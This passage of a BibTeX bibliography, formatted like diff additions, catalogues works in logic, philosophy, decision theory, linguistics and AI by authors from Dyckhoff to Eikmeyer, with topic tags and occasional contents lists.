"Dialogue Helpsystem Based + on Flexible Matching of User Query with Natural + Language Knowledge Base", pp. 141--149 + 17. Jun-Ichi Hirasawa and Kohji Dohsaka and Kiyoaki Aikawa, "{WIT}: + A Toolkit for Building Robust and Real-Time Spoken + Dialogue Systems", pp. 150--159 + 18. Jan Alexandersson and Paul Heisterkamp, "Some Notes on the + Complexity of Dialogues", pp. 160--169 + } , + topic = {computational-dialogue;} + } + +@article{ dyckhoff:1992a, + author = {Roy Dyckhoff}, + title = {Contraction-free Sequent Calculi for + Intuitionistic Logic}, + journal = {Journal of Symbolic Logic}, + year = {1992}, + volume = {57}, + number = {3}, + pages = {795--807}, + topic = {proof-theory;intuitionistic-logic;} + } + +@book{ dyckhoff:1994a, + editor = {Roy Dyckhoff}, + title = {Proceedings of the 4th International Workshop Extensions + of Logic Programming: {ELP'93}}, + publisher = {Springer-Verlag}, + year = {1994}, + address = {Berin}, + ISBN = {0387580255}, + topic = {logic-programming;} + } + +@book{ dyckhoff:1994b, + editor = {Roy Dyckhoff}, + title = {Extensions of Logic Programming: 4th International Workshop, + {S}t {A}ndrews, {M}arch 29-April 1, 1993}, + publisher = {Springer-Verlag}, + year = {1994}, + address = {Berlin}, + ISBN = {0387580255}, + topic = {extensions-of-logic-programming;} + } + +@book{ dyckhoff-etal:1996a, + editor = {Roy Dyckhoff and Heinrich Herre and Peter Schroeder-Heister}, + title = {Extensions of Logic Programming : 5th International Workshop, + {L}eipzig, {G}ermany, {M}arch 28-30, 1996}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + ISBN = {3540609830}, + topic = {extensions-of-logic-programming;} + } + +@article{ dyckhoff:2001a, + author = {Roy Dyckhoff}, + title = {Review of {\it Basic Proof Theory}, by {A}.{S}. + {T}roelstra and {H}. {S}chwichtenberg}, + journal = {The Bulletin of Symbolic Logic}, + year = {2001}, + volume = {7}, + number = {2}, + pages = {280}, + xref = {Review of troelstra-schwichtenberg:2000a.}, + topic = {proof-theory;} + } + +@article{ dyckhoff-weinsing:2001a, + author = {Roy Dyckhoff and Heinrich Weinsing}, + title = {Editorial}, + journal = {Studia Logica}, + year = {2001}, + volume = {69}, + number = {1}, + pages = {3--4}, + topic = {proof-theory;semantic-tableaux;modal-logic;} + } + +@book{ dyer:1983a, + author = {Michael G. Dyer}, + title = {In-Depth Understanding: A Computer Model of Integrated + Processing for Narrative Comprehension}, + publisher = {The {MIT} Press}, + year = {1983}, + address = {Cambridge, Massachusetts}, + topic = {text-understanding;story-understanding; + memory-models;conceptual-dependency;} + } + +@article{ dym:1985a, + author = {Clive L. Dym}, + title = {Review of {\it Building Expert Systems}, by {F}. + {H}ayes-{R}oth, {D}.{A}. {W}aterman and {D}ouglas {B}. + {L}enat}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {1}, + pages = {101--104}, + xref = {Review of hayesroth_f-etal:1983a.}, + topic = {expert-systems;} + } + +@article{ dym:1985b, + author = {Clive L. Dym}, + title = {Review of {\it A Practical Guide to Designing Expert + Systems}, by {S}.{M}. {W}eiss and {C}.{A}. {K}ulikowski}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {2}, + pages = {238--239}, + xref = {Review of weiss_sm-kulikowski:1984a.}, + topic = {expert-systems;} + } + +@inproceedings{ dymetman:1998a, + author = {Marc Dymetman}, + title = {Group Theory and Linguistic Processing}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {348--352}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {categorial-grammar;Lambek-calculus;grammar-formalisms; + group-theory;} +} + +@book{ eades-zhang_k:1996a, + editor = {Peter Eades and Kang Zhang}, + title = {Software Visualisation}, + publisher = {World Scientific}, + year = {1996}, + address = {Singapore}, + ISBN = {9810228260}, + topic = {software-engineering;} + } + +@article{ earman:1971a, + author = {John Earman}, + title = {Laplacian Determinism, or Is This Any Way to + Run A Universe?}, + journal = {Journal of Philosophy}, + year = {1971}, + volume = {68}, + pages = {729--45}, + number = {21}, + topic = {physical-determinism;} + } + +@article{ earman:1976a, + author = {John Earman}, + title = {Causation: A Matter of Life and Death}, + journal = {The Journal of Philosophy}, + year = {1976}, + volume = {18}, + number = {73}, + pages = {5--25}, + topic = {causality;} + } + +@book{ earman-etal:1977a, + editor = {John S. Earman and Clark N. Glymour and John J. Stachel}, + title = {Foundations of Space-Time Theories: {M}innesota Studies + in the Philosophy of Science, Volume {VIII}}, + publisher = {University of Minnesota Press}, + address = {Minneapolis}, + year = {1977}, + topic = {philosophy-of-science;philosophy-of-physics;} + } + +@incollection{ earman:1979a, + author = {John Earman}, + title = {Was {L}eibniz a Relationist?}, + booktitle = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {263--276}, + address = {Minneapolis}, + topic = {Leibniz;philosophy-of-space;sufficient-reason;} + } + +@book{ earman:1983a, + editor = {John Earman}, + title = {Testing Scientific Theories: {M}innesota Studies in the + Philosophy of Science, Volume {III}}, + publisher = {University of Minnesota Press}, + address = {Minneapolis}, + year = {1983}, + topic = {philosophy-of-science;confirmation;} + } + +@book{ earman:1986a, + author = {John Earman}, + title = {A Primer on Determinism}, + publisher = {D. Reidel Publishing Company}, + year = {1986}, + address = {Dordrecht}, + topic = {(in)determinism;} + } + +@book{ earman:1992a, + author = {John Earman}, + title = {Bayes or Bust: A Critical Examination of Confirmation + Theory}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {confirmation-theory;} + } + +@book{ earman:1995a, + author = {John Earman}, + title = {Bangs, Crunches, Whimpers, and Shrieks: + Singularities and Acausalities in Relativistic Spacetime}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + xref = {Review: callendar:1998a.}, + topic = {spacetime-singularities;philosophy-of-physics;} + } + +@book{ earnshaw-etal:1993a, + editor = {R.A. Earnshaw and M.A. Gigante and H. Jones.}, + title = {Virtual Reality Systems}, + publisher = {Academic Press}, + year = {1993}, + address = {New York}, + ISBN = {0122277481}, + topic = {virtual-reality;} + } + +@article{ eastman_cm:1973a, + author = {Charles M. Eastman}, + title = {Automated Space Planning}, + journal = {Artificial Intelligence}, + year = {1973}, + volume = {4}, + number = {1}, + pages = {41--64}, + acontentnote = {Abstract: + This paper both reviews current procedures and introduces new + ones for the automated generation of two-dimensional + arrangements. General properties of the task and some + sufficiency conditions for dealing with it are identified. The + treatment of these properties in existing programs are reviewed. + The task is also organized into its component decision rules. + One exemplification of these rules is described which utilizes + the sufficiency conditions and is implemented in the General + Space Planner (GSP) program in operation at Carnegie-Mellon + University [3], [4]. The performance of GSP in solving a set of + spatial arrangement tasks is described and some future + extensions outlined. + A secondary purpose of this paper is to more fully introduce + this problem domain to the artificial intelligence literature. + Not only is it an interesting problem class now only the + province of humans, but it has wide application. Throughout the + presentation, both the commonalities and disparities of this + task domain with other AI tasks are explicated.}, + topic = {planning;spatial-arrangement-tasks;spatial-reasoning;} + } + +@article{ eaton-etal:1998a, + author = {Peggy S. Eaton and Eugene C. Freuder and Richard J. Lewis}, + title = {Constraints and Agents: Confronting Ignorance}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {19}, + number = {2}, + pages = {51--65}, + topic = {constraint-based-reasoning;artificial-societies; + autonomous-agents;} + } + +@book{ eatwell-etal:1987a, + editor = {John Eatwell and Murray Milgate and Peter Newman}, + title = {The New Palgrave: Utility and Probability}, + publisher = {Macmillan}, + year = {1987}, + address = {New York}, + topic = {foundations-of-utility;utility;} + } + +@incollection{ ebbinghaus:1995a, + author = {Hans-Dieeter Ebbinghaus}, + title = {On the Model Theory of Some Generalized Quantifiers}, + booktitle = {Quantifiers: Logic, Models, and Computation, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Micha{\l} Krynicki and Marcin Mostowski and Les{\l}aw W. + Szczerba}, + pages = {25--62}, + address = {Dordrecht}, + topic = {generalized-quantifiers;} + } + +@article{ eberle:1984a, + author = {Rolf Eberle}, + title = {Logic with a Relative Truth Predicate and `that'-Terms}, + journal = {Synth\'ese}, + year = {1984}, + volume = {59}, + number = {2}, + pages = {151--185}, + topic = {truth;indirect-discourse;syntactic-attitudes;} + } + +@article{ eckardt:2001a, + author = {Regine Eckardt}, + title = {Reanalyzing {\em Selbst}}, + journal = {Natural Language Semantics}, + year = {2001}, + volume = {9}, + number = {4}, + pages = {371--412}, + topic = {German-language;reflexive-constructions;nl-semantics;} + } + +@incollection{ eckman_fr:1976a, + author = {Fred R. Eckman}, + title = {Empirical and Nonempirical Generalizations + in Syntax}, + booktitle = {Assessing Linguistic Arguments}, + publisher = {Hemisphere Publishing Corporation}, + year = {1976}, + editor = {Jessica R. Wirth}, + pages = {35--48}, + address = {Washington, D.C.}, + topic = {philosophy-of-linguistics;foundations-of-linguistics;} + } + +@book{ eckman_fr:1977a, + author = {Fred R. Eckman}, + title = {On the Explanation of Some Typological Facts about + Raising}, + publisher = {Indiana University Linguistics Club}, + year = {1976}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {transformational-grammar;universal-grammar;} + } + +@book{ eco:1976a, + author = {Umberto Eco}, + title = {A Theory of Semiotics}, + publisher = {Indiana University Press}, + year = {1976}, + address = {Bloomington, Indiana}, + topic = {semiotics;} + } + +@book{ eco:1979a, + author = {Umberto Eco}, + title = {The Role of the Reader}, + publisher = {Indiana University Press}, + year = {1979}, + address = {Bloomington, Indiana}, + topic = {semiotics;} + } + +@article{ edalat:1997a, + author = {Abbas Edalat}, + title = {Domains for Computation in Mathematics, Physics, and Exact + Real Arithmetic}, + journal = {Bulletin of Symbolic Logic}, + year = {1997}, + volume = {3}, + number = {4}, + pages = {401--452}, + topic = {domain-theory;} + } + +@unpublished{ edelberg:1977a, + author = {Walter Edelberg}, + title = {A Semantical Theory of Conditional and Tense Logic}, + year = {1977}, + note = {Unpublished Manuscript, Philosophy Department, University of + Pittsburgh, Pittsburgh, PA 15260.}, + topic = {conditionals;temporal-logic;branching-time;} + } + +@phdthesis{ edelberg:1984a, + author = {Walter Edelberg}, + title = {Intentional Identity}, + school = {Philosophy Department, University of Pittsburgh}, + year = {1984}, + type = {Ph.{D}. Dissertation}, + address = {Pittsburgh, Pennsylvania}, + topic = {propositional-attitudes;intentional-identity;intentional-identity; + singular-propositions;} + } + +@article{ edelberg:1986a, + author = {Walter Edelberg}, + title = {A New Puzzle about Intentional Identity}, + journal = {Journal of Philosophical Logic}, + year = {1986}, + volume = {15}, + number = {1}, + pages = {1--27}, + topic = {propositional-attitudes;intentional-identity; + singular-propositions;} + } + +@article{ edelberg:1991a, + author = {Walter Edelberg}, + title = {A Case for a Heretical Deontic Semantics}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {1}, + pages = {1--35}, + topic = {deontic-logic;arbitrary-objects;} + } + +@article{ edelberg:1992b, + author = {Walter Edelberg}, + title = {Intentional Identity and the Attitudes}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {6}, + pages = {561--596}, + topic = {nl-semantics;propositional-attitudes;intentional-identity; + singular-propositions;} + } + +@article{ edelberg:1994a, + author = {Walter Edelberg}, + title = {Propositions, Circumstances, Objects}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {1}, + pages = {1--34}, + topic = {possible-worlds-semantics;propositional-attitudes; + intentional-identity;singular-propositions;} + } + +@article{ edelberg:1995a, + author = {Walter Edelberg}, + title = {A Perspectivalist Semantics for the Attitudes}, + journal = {No\^us}, + year = {1995}, + volume = {3}, + pages = {316--342}, + contentnote = {Idea is that truth is rel. to a belief system. Belief + systems aren't modeled at any fine degree of granularity. + Essentially, they are unanalyzed indices.}, + missinginfo = {number}, + topic = {nl-semantics;propositional-attitudes;intentional-identity; + singular-propositions;} + } + +@article{ edelkamp-helmut:2001a, + author = {Stefan Edelkamp and Malte Helmut}, + title = {{MIPS}: The Model-Checking Integrated Planning System}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {67--71}, + topic = {planning;planning-algorithms;planning-systems;} + } + +@article{ edgeley:1965a, + author = {R. Edgeley}, + title = {Practical Reason}, + journal = {Mind, New Series}, + year = {1965}, + volume = {74}, + number = {294}, + pages = {174--191}, + topic = {practical-reasoning;} + } + +@incollection{ edgeley:1978a, + author = {R. Edgeley}, + title = {Practical Reason}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {18--33}, + address = {Oxford}, + topic = {practical-reasoning;} + } + +@article{ edgington:1980a, + author = {Dorothy Edgington}, + title = {Meaning, Bivalence and Realism}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1980/81}, + volume = {81}, + pages = {153--173}, + topic = {philosophical-realism;Davidson-semantics;truth-value-gaps;} + } + +@article{ edgington:1991a, + author = {Dorothy Edgington}, + title = {Matter-of-Fact Conditionals}, + journal = {Proceedings of the {A}ristotelian Society + Supplementary Volume}, + year = {1991}, + volume = {65}, + pages = {185--209}, + topic = {conditionals;} + } + +@incollection{ edgington:1991b, + author = {Dorothy Edgington}, + title = {Do Conditionals Have Truth Conditions?}, + booktitle = {Conditionals}, + publisher = {Oxford University Press}, + year = {1991}, + editor = {Frank Jackson}, + pages = {176--201}, + address = {Oxford}, + topic = {conditionals;} + } + +@article{ edgington:1992a, + author = {Dorothy Edgington}, + title = {Validity, Uncertainty, and Vagueness}, + journal = {Analysis}, + year = {1992}, + volume = {52}, + number = {4}, + pages = {193--203}, + topic = {vagueness;} + } + +@article{ edgington:1993a, + author = {Dorothy Edgington}, + title = {Wright and {S}ainsbury on Higher-Order Vagueness}, + journal = {Analysis}, + year = {1993}, + volume = {53}, + number = {4}, + pages = {193--200}, + missinginfo = {number}, + topic = {vagueness;} + } + +@article{ edgington:1995a, + author = {Dorothy Edgington}, + title = {On Conditionals}, + journal = {Mind}, + year = {1995}, + volume = {104}, + number = {413}, + pages = {235--329}, + topic = {conditionals;} + } + +@article{ edgington:1996a, + author = {Dorothy Edgington}, + title = {Lowe on Conditional Probability}, + journal = {Mind}, + year = {1996}, + volume = {105}, + pages = {617--630}, + topic = {conditionals;probability;} + } + +@article{ edgington:1997a, + author = {Dorothy Edgington}, + title = {Truth, Objectivity, Counterfactuals, and {G}ibbard}, + journal = {Mind}, + year = {1997}, + volume = {106}, + number = {420}, + pages = {107--116}, + contentnote = {This is about Gibbard's Sly Pete example.}, + topic = {conditionals;} + } + +@incollection{ edgington:1997b, + author = {Dorothy Edgington}, + title = {Vagueness by Degrees}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {294--316}, + address = {Cambridge, Massachusetts}, + topic = {vagueness;} + } + +@article{ edidin:1984a, + author = {Aron Edidin}, + title = {Inductive Reasoning and the Uniformity of Nature}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {3}, + pages = {285--302}, + topic = {induction;} + } + +@incollection{ edmonds:2001a, + author = {Bruce Edmonds}, + title = {Learning Appropriate Contexts}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {143--155}, + address = {Berlin}, + topic = {context;machine-learning;} + } + +@inproceedings{ edmonds_b-moss_s:1995a, + author = {Bruce Edmonds and Scott Moss}, + title = {Modeling the Bounded Rationality of Agents by Modeling and + limited Incremental Search}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Rational Agency: Concepts, Theories, Models, and Applications}, + year = {1995}, + editor = {Michael Fehling}, + pages = {43--47}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {bounded-rationality;planning;} + } + +@incollection{ edmonds_b:1999a, + author = {Bruce Edmonds}, + title = {The Pragmatic Roots of Context}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {119--134}, + address = {Berlin}, + topic = {context;connectionist-models;} + } + +@book{ edmonson_ja:1976a, + author = {Jerry A. Edmonson}, + title = {Strict and Sloppy Identity in $\lambda$-Categorial Grammar}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {categorial-grammar;} + } + +@unpublished{ edmonson_ja:1977a, + author = {Jerry A. Edmonson}, + title = {`{B}oth' in $\lambda$-Categorial Grammar}, + year = {1977}, + note = {Unpublished manuscript, Technical University Berlin}, + missinginfo = {Date is a guess.}, + topic = {categorial-grammar;} + } + +@article{ edmonson_ja-plank:1978a, + author = {Jerold A. Edmonson and Frans Plank}, + title = {Great Expectations: An Intensive Self Analysis}, + journal = {Linguistics and Philosophy}, + year = {1978}, + volume = {2}, + number = {3}, + pages = {373--413}, + topic = {intensifiers;} + } + +@book{ edmonson_wj:1981a, + author = {Willis J. Edmonson}, + title = {Spoken Discourse: A Model for Analysis}, + publisher = {Longman}, + year = {1981}, + address = {New York}, + topic = {discourse;pragmatics;text-linguistics;} + } + +@incollection{ edmonson_wj:1981b, + author = {Willis J. Edmonson}, + title = {Illocutionary Verbs, Illocutionary + Acts, and Conversational Behavior}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {485--494}, + address = {Berlin}, + topic = {speech-acts;} + } + +@incollection{ edwards_awf:1998a, + author = {Anthony W.F. Edwards}, + title = {Statistical Inference}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 1: Quantified Representation + of Uncertainty and Imprecision}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {357--366}, + address = {Dordrecht}, + topic = {statistical-inference;} + } + +@book{ edwards_d-potter:1992a, + author = {Derek Edwards and Jonathan Potter}, + title = {Discursive Psychology}, + publisher = {Sage Publications}, + year = {1992}, + address = {Newbury Park, California}, + topic = {discourse;} + } + +@book{ edwards_d:1997a, + author = {Derek Edwards}, + title = {Discourse and Cognition}, + publisher = {Sage Publications}, + year = {1997}, + address = {Thousand Oaks, California}, + topic = {discourse;philosophy-of-language;pragmatics;} + } + +@book{ edwards_j:1754a, + author = {Jonathan Edwards}, + title = {Freedom of the Will}, + publisher = {Yale University Press}, + year = {1957}, + address = {New Haven, Connecticut}, + note = {Originally published in 1754.}, + title = {The Encyclopedia of Philosophy}, + publisher = {MacMillan Publishing Co.}, + year = {1972}, + address = {London}, + topic = {philosophy-handbook/encyclopedia;} + } + +@incollection{ edwards_w:1977a, + author = {Ward Edwards}, + title = {Use of Multiattribute Utility Measurement for Social + Decision Making}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {247--276}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;} + } + +@article{ edwards_w-barron:1994a, + author = {Ward Edwards and F. Hutton Barron}, + title = {{SMARTS} and {SMARTER}: Improved Simple Methods for + Multiattribute Utility Measurement}, + journal = {Organizational Behavior and Human Decision Processes}, + year = {1994}, + volume = {60}, + pages = {306--325}, + missinginfo = {number}, + topic = {preference-elicitation;multiattribute-utility;} + } + +@article{ eells:1981a, + author = {Ellery Eells}, + title = {Causality, Utility and Decision}, + journal = {Synth\'ese}, + year = {1981}, + volume = {48}, + pages = {295--395}, + miscnote = {D. Lewis cites this in connection with "tickle defense", see + lewis_dk:1981a1.}, + missinginfo = {number}, + topic = {decision-theory;causal-decision-theory;} + } + +@book{ eells:1982a, + author = {Ellery Eells}, + title = {Rational Decision and Causality}, + publisher = {Cambridge University Press}, + year = {1982}, + address = {Cambridge, England}, + topic = {foundations-of-decision-theory;causal-decision-theory;} + } + +@article{ eells:1984a, + author = {Ellery Eells}, + title = {Newcomb's Many Solutions}, + journal = {Theory and Decision}, + year = {1984}, + volume = {16}, + pages = {59--105}, + missinginfo = {number}, + topic = {causal-decision-theory;} + } + +@article{ eells:1985a, + author = {Ellery Eells}, + title = {Levi's `The Wrong Box'\, } , + journal = {The Journal of Philosophy}, + year = {1985}, + volume = {82}, + number = {2}, + pages = {91--104}, + topic = {Newcomb-problem;} + } + +@book{ eells:1991a, + author = {Ellery Eells}, + title = {Probabilistic Causality}, + publisher = {Cambridge University Press}, + year = {1991}, + address = {Cambridge, England}, + xref = {Review: davis_wa:1993a.}, + ISBN = {0521392446}, + topic = {causality;probability;} + } + +@book{ eells-maruszewski:1991a, + editor = {Ellery Eells and Tomasz Maruszewski}, + title = {Probability and Rationality: Studies On {L}. {J}onathan + {C}ohen's Philosophy of Science}, + publisher = {Rodopi}, + year = {1991}, + address = {Amsterdam}, + ISBN = {9051833164}, + topic = {foundations-of-probability;philosophy-of-science;} + } + +@book{ eells-skyrms:1994a, + editor = {Ellery Eells and Brian Skyrms}, + title = {Probability and Conditionals: Belief Revision and Rational + Decision}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + contentnote = { + 1. Patrick Suppes, "Some Questions about Adams' Conditionals" + 2. Brian Skyrms, "Adams Conditionals" + 3. Robert C. Stalnaker, "Letter to Brian Skyrms" + 4. Robert C. Stalnaker and Richard Jeffrey, "Conditionals as + Random Variables" + 5. Judea Pearl, "From Adams' Conditionals to Default + Expressions, Causal Conditionals, and Counterfactuals" + 6. Alan H\'ajek and Ned Hall, "The Hypothesis of the + Conditional Construal of Conditional Probability" + 7. Alan H\'ajek, "Triviality on the Cheap?" + 8. Ned Hall, "Back in the CCCP" + 9. Charles Chihara, "The Howson-Urbach Proofs of Bayesian Principles" + 10. Vann McGee, "Learning the Impossible" + 11. Patrick Suppes, "A Brief Survey of Adams' Contributions to + Philosophy" + } , + xref = {Reviews: halpern:2000a, gardner_r:2000a.}, + topic = {probability;conditionals;CCCP;} + } + +@article{ eels-fitelson:2000a, + author = {Ellery Eels and Branden Fitelson}, + title = {Measuring Confirmation and Evidence}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {5}, + pages = {663--672}, + topic = {confirmation;} + } + +@article{ egan:1995a, + author = {Frances Egan}, + title = {Computation and Content}, + journal = {The Philosophical Review}, + year = {1995}, + volume = {104}, + number = {2}, + pages = {181--203}, + topic = {philosophy-of-computation;} + } + +@article{ egan:1998a, + author = {Frances Egan}, + title = {Review of {\it Representations, Targets, and Attitudes}, + by {R}obert {C}ummins}, + journal = {Philosophical Review}, + year = {1998}, + volume = {107}, + number = {1}, + pages = {118--120}, + xref = {Review of cummins_r:1996a.}, + topic = {propositional-attitudes;philosophy-of-mind; + foundations-of-semantics;intentionality; + foundations-of-cognition;} + } + +@inproceedings{ egg-etal:1998a, + author = {Markus Egg and Joachim Niehren and Peter Ruhrberg and + Feiyu Xu}, + title = {Constraints over Lambda-Structures in Semantic + Underspecification}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {353--359}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {semantic-underspecification;} +} + +@incollection{ egg:1999a, + author = {Markus Egg}, + title = {Deriving and Resolving Ambiguities in + {\it wieder} Sentences}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {109--115}, + address = {Amsterdam}, + topic = {ambiguity;semantic-underspecification;optimality-theory;} + } + +@article{ egg-etal:2001a, + author = {Markus Egg and Manfred Pinkal and James Pustejovsky}, + title = {Editorial (for a Special Issue on Underspecification)}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {4}, + pages = {411--416}, + topic = {semantic-underspecification;} + } + +@article{ egg-etal:2001b, + author = {Markus Egg and Alexander Koller and Joachim Niehren}, + title = {The Constraint Language for Lambda Structures}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {4}, + pages = {457--485}, + topic = {semantic-underspecification;anaphora;ellipsis;} + } + +@book{ egli:1995a, + editor = {Urs Egli}, + title = {Lexical Knowledge in the Organization of Language}, + publisher = {J. Benjamins}, + year = {1995}, + address = {Amsterdam}, + ISBN = {1556195680 (alk. paper)}, + topic = {lexicon;} + } + +@incollection{ egli_u1:1998a, + author = {Uwe Egli}, + title = {Cuts in Tableaux}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {pages}, + topic = {theorem-proving;applied-logic;proof-theory;} + } + +@inproceedings{ egli_u1-schmitt:1998a, + author = {Uwe Egli and Stephen Schmitt}, + title = {Intuitionistic Proof Transformations and Their Application to + Constructive Program Synthesis}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {132--144}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {theorem-proving;intuitionistic-logic;} + } + +@incollection{ egli_u2:1979a, + author = {Urs Egli}, + title = {The {S}toic Concept of Anaphora}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {284--283}, + topic = {Stoic-philosophy;anaphora;} + } + +@book{ egli_u2:1995a, + editor = {Urs Egli}, + title = {Lexical Knowledge in the Organization of Language}, + publisher = {John Benjamins Publishing Company}, + year = {1995}, + address = {Amsterdam}, + ISBN = {1556195680}, + topic = {lexicon;} + } + +@incollection{ ehrig-etal:1992a, + author = {Hartmut Ehrig}, + title = {Introduction to Graph Grammars with Applications to + Semantic Networks}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {557--572}, + address = {Oxford}, + topic = {kr;semantic-networks;kr-course;} + } + +@book{ ehrlich:1992a, + author = {Eugene Ehrlich}, + title = {Theory and Problems of Punctuation, Capitalization, + and Spelling}, + publisher = {McGraw-Hill}, + year = {1992}, + address = {Hong Kong}, + series = {Schaum's Outline Series}, + edition = {2}, + topic = {spelling;punctuation;} +} + +@book{ ehrman:1966a, + author = {Madeline Ehrman}, + title = {The Meanings of the Modals in Present-day {A}merican + {E}nglish}, + publisher = {Mouton}, + address = {The Hague}, + year = {1966}, + topic = {nl-modality;nl-modality;modal-auxiliaries;} + } + +@book{ eikmeyer-rieser:1981a, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + title = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + address = {Berlin}, + contentnote = {TC: + 1. Hans-J\"urgen Eikmeyer and Hannes Rieser, "Word + Semantics from Different Points of View: An + Introduction to the Present Volume", pp. 1--18 + 2. Max J. Cresswell, "Adverbs of Causation", pp. 21--37 + 3. Angelika Kratzer, "The Notional Category of + Modality", pp. 38--74 + 4. Peter R. Lutzeier, "Words and Worlds", pp. 75--106 + 5. Ekkehard K\"onig, "The Meaning of Scalar Particles in + {G}erman", pp. 107--132 + 6. Hans-J\"urgen Eikmeyer and Hannes Rieser, "Meanings, + Intensions, and Stereotypes: A New Approach to + Linguistic Semantics", pp. 133--150 + 7. Michael Grabski, "Quotations as Indexicals and + Demonstratives", pp. 151--167 + 8. John C. Bigelow, "Truth and Universals", pp. 168--189 + 9. Burghard S. Rieger, "Feasible Fuzzy Semantics: On Some Problems + of How to Handle Word Meaning Empirically", pp. 193--209 + 10. Joachim Ballweg and Helmut Frosh, "Formal Semantics for the + Progressive of Stative and Non-Stative + Verbs", pp. 210--221 + 11. Joachim Ballweg, "Simple Present Tense and Progressive + Periphrases in German", pp. 222--233 + 12. Wolfgang Wildgen, "Archetypal Dynamics in Word Semantics: An + Application of Catastrophe Theory", pp. 234--296 + 13. Thomas T. Ballmer and Waltraud Brennenstuhl, "An Empirical + Approach to Frametheory: Verb Thesausus + Organization", pp. 297--319 + 14. Dieter Mertzing, "Frame Representation and Lexical + Semantics", pp. 320--342 + 15. Fritz Neubauer and Janos S. Pet\"ofi, "Word Semantics, + Lexical Systems, and Text Interpretations", pp. 343--377 + 16. Horst Geckeler, "Structural Semantics", pp. 381--413 + 17. Thomas T. Ballmer and Waltraud Brennenstuhl, "Lexical + Analysis and Language Theory", pp. 414--461 + 18. Angelika Ballweg-Schramm, "Some Comments on Lexical Fields + and Their Use in Lexicography", pp. 462--468 + 19. Manfred Pinkal, "Some Semantic and Pragmatic Properties + of {G}erman {\it glauben}", pp. 469--484 + 20. Willis J. Edmonson, "Illocutionary Verbs, Illocutionary + Acts, and Conversational Behavior", pp. 485--494 + 21. Walther Kindt, "Word Semantics and 